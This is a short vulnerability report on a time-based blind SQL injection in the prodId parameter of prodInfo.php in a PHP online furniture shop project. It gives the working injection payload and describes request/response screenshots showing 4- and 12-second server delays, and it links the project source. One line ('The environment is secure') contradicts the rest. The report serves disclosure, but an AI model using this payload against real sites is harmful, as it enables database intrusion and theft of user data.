

SQL injection vulnerability exists in prodId parameter of prodInfo.php file of Online Furniture Shopping Ecommerce Website Project

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

The screenshot displays the 'Request' and 'Response' tabs of a web browser's developer tools. The 'Request' tab shows a GET request to `/furniture_master/prodInfo.php?prodId=0'XOR(if(now())=sysdate())%2Csleep(4)%2C0))XOR'Z&type=bed`. The 'Response' tab shows a 200 OK status with an HTML body containing product information for 'Product Information &#124; DAVA'. The status bar at the bottom indicates 'Done' and '5,629 bytes | 4,038 millis'.

Sleep time is 12s:

The screenshot displays the 'Request' and 'Response' tabs of a web browser's developer tools. The 'Request' tab shows a GET request to `/furniture_master/prodInfo.php?prodId=0'XOR(if(now())=sysdate())%2Csleep(12)%2C0))XOR'Z&type=bed`. The 'Response' tab shows a 200 OK status with an HTML body containing product information for 'Product Information &#124; DAVA'. The status bar at the bottom indicates 'Done' and '5,629 bytes | 12,005 millis'.

Payload: `prodId=0'XOR(if(now())=sysdate())%2Csleep(12)%2C0))XOR'Z`

Source Download:

<https://www.kashipara.com/project/php/12661/online-furniture-shopping-ecommerce-website-php-project-source-code>